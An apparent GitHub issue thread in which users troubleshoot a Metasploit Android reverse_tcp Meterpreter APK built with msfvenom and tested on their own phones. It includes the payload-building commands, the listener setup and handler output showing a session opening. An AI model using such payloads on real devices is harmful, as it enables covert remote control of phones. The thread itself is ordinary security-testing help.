Closed HsPanda closed 7 years ago
your lhost is 127.0.0.1? are you running msf on the phone itself? Can you show the step by step of the venom creation, and the multi handler starting? Good to show EXACTLY what you are running so we don't speculate.
I'd also be worried that the one blog is 2.5yrs old, LOTS changes in that time.
launch terminal
type in msfvenom -p android/meterpreter/reverse_tcp LHOST=192.168.0.4 lport=4444 R > app.apk
copy/paste apk file to my phone (plugged in via usb) install apk launch apk (apk will crash at this point)
launch armitage keeping everything default (host 127.0.0.01, port 55553 ) select yes to start metasploit in armitage select Armitage - listeners - Lhost , set lhost to 192.168.0.4, then select listeners -reverse, put port 4444 and select type as "meterpreter"
not knowing armitage, not sure if "meterpreter" will handle an android one or not. Try running the multi handler in a console instead to ensure its the right meterpreter
yeah but wouldn't the app continually crashing prevent the meterpreter from running on the phone to start with? so if i use armitage or if i use the console it wouldn't matter because there is nothing to listen for?
it's more the app crashing i'm trying to fix =/
update: i got the apk stable on the phone and it appears to be working, for the most part, except all i get when i exploit is .....
exploit [*] Exploit running as background job 0.
[] Started reverse TCP handler on 192.168.0.4:443 msf exploit(handler) > [] Sending stage (69048 bytes) to 192.168.0.6 [*] Meterpreter session 1 opened (192.168.0.4:443 -> 192.168.0.6:60621) at 2017-10-10 10:43:52 +0000
and then nothing, the meterpreter command line never shows up
@HsPanda you can switch to the session with sessions 1
msf > sessions 1
meterpreter >
Join our irc, it's much easier to help you there than via github
@timwr AWESOME! THANK YOU!
How did you managed to make the app stable and not to crash ?
how did you get you app not to crash (MAIN ACTIVITY )
how did you solve it
hello, i'm new to this and testing things out/following tutorials
i'm using a usb live version of kali and i'm trying to create an apk for my phone
root@kali:~# msfvenom -p android/meterpreter/reverse_tcp LHOST=127.0.0.1 LPORT=4444 R > app.apk
i think just manually transfer the created apk file to my phone and install it, it installs fine but then when i try to launch it i keep getting the error that "unfortunately mainactivity has stopped" not sure how to correct this, any help?